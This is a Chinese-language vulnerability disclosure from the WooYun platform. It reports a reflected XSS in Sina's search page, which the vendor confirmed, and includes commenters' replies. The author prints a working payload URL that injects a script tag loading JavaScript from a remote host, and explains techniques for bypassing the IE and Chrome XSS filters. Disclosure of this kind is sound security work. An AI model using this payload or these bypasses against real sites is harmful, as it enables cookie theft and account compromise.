漏洞概要
关注数(24)
关注此漏洞
漏洞标题:新浪反射型跨站(附绕过浏览器xss filter方式)
相关厂商:新浪
漏洞作者: 香草
提交时间:2014-05-28 16:57
修复时间:2014-07-12 16:58
公开时间:2014-07-12 16:58
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-05-28: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向核心白帽子及相关领域专家公开
2014-06-17: 细节向普通白帽子公开
2014-06-27: 细节向实习白帽子公开
2014-07-12: 细节向公众公开
简要描述:
前几天新浪广告界面那个跨站,在第三次的时候,总算进行了正确的修复。于是我只好去其他地方看看了。很不幸这次又侧漏了,这次可获取cookie,可欺骗,虽然新浪的cookie有httponly保护,不过这次重点是可以过IE和chrome系列浏览器的方法。
详细说明:
新浪的搜索实际上过滤还是挺严格的,在搜索框输入,xxx'"<>!@#$%^&*()_;\,
发现在正确的位置的进行了正确的编码和过滤。'"<>\以及其他特殊符号都进行了相应的编码和过滤。这也是我想到的,这些简单的符号肯定是会被过滤的。我发现页面中存在这样的代码:
于是一个一个对上面的参数进行了测试,发现对value里面的值对特殊字符都进行了编码处理。但是我不放过任何一个参数,继续寻找可能存在的参数,在这儿我发现一个奇怪的现象,就是每次我添加一个参数都会在input里面添加一条记录,而且在界面上会多次出现这个参数。
当我访问:http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg=bbb
直觉告诉我,这儿肯定存在问题。
既然对value都进行了严格的过滤,那对name呢。于是我再次测试
http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg"'ggg=bbb
果然侧漏了:
控制台报错了,我最喜欢了,还有js环境的:
接下来测试发现name参数过滤了点号和[],其他的都没过滤,值就过滤的惨不忍睹了,特殊符号都过滤了包括()[]{}"'<>\。很快就想到一个加载远程js的方法:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22;with(location)with(hash)eval(substring(1))//=#with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
用with省略了点号的使用,但是这个代码只能在火狐和chrome系列浏览器上运行,不是很完美。在IE上不能有成对的括号出现而且过滤了location,document等关键字,怎么办呢?
我想到了expression,expression呢,因为我发现
就是说会强制浏览器以IE7文档模式解析,当然就都支持expression了。访问:
加载远程js:
这个代码在IE9,IE10下面是可以运行的,IE8貌似不支持content="IE=EmulateIE7"。
但是这样的虽然可以过IE各个版本浏览器,但是又不能同时支持chrome系列浏览器了,有没有既可以过IE又可以过chrome的呢?为了完美,我们继续:
把空格转换成了+号,而我们又不能用 " ,于是我们用%0a也就是换行符来分割属性。
解释:a其实就是a的html编码我们在url编码后就是%26%2397。()就是()对他进行html编码是为了绕过 IE xss filter对括号的检查。
最终实现的加载远程js,可兼容IE,chrome系列浏览器:
漏洞证明:
弹个cookie:
加载JS:
修复方案:
版权声明:转载请注明来源 香草@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-05-28 18:43
厂商回复:
感谢关注新浪安全,分析太好,
最新状态:
暂无
漏洞评价:
评论
-
2014-05-28 16:57 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
-
2014-05-28 16:59 |
快到碗裏來 ( 路人 | Rank:6 漏洞数:4 | 這傢伙很懶,什麼也沒有留下!)
@疯狗 请问获取邀请码的rank不计算入注册后的账户吗?
-
2014-05-28 17:03 |
nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )
@疯狗 狗哥 把我的漏洞审一下吧http://www.wooyun.org/bugs/wooyun-2014-062029/trace/e8d953464bfb60cd87dbab28c9316d95
-
2014-05-28 17:07 |
mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )
-
2014-05-28 17:12 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
@快到碗裏來 计算进去的,只要是那个漏洞填写了邀请邮箱(一致)并注册成功
-
2014-05-28 17:13 |
香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)
-
2014-05-28 17:17 |
香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)
@nextdoor 189邮箱被多次提交漏洞,不过他们从来没修复过,所以咯
-
2014-05-29 16:45 |
香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)
@疯狗 狗哥http://www.wooyun.org/bugs/wooyun-2010-062771/trace/b37f5ecac6e82f589ca16faa0d08a34d 帮忙审核下呀,这个有趣
-
2014-05-29 17:42 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
@香草 是很有意思,洞主给drops投个稿吧 :P
-
2014-07-12 19:32 |
cooFool ( 路人 | Rank:0 漏洞数:2 | 终于通过了。)
-
2014-07-14 05:03 |
橙子 ( 路人 | Rank:2 漏洞数:1 | 我有特殊的卖萌技巧)
-
2015-04-19 16:56 |
昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)
很多奇葩sql注入也是一样,只过滤了参数值没过滤参数名,而且参数名直接带入sql语句,和这个情况差不多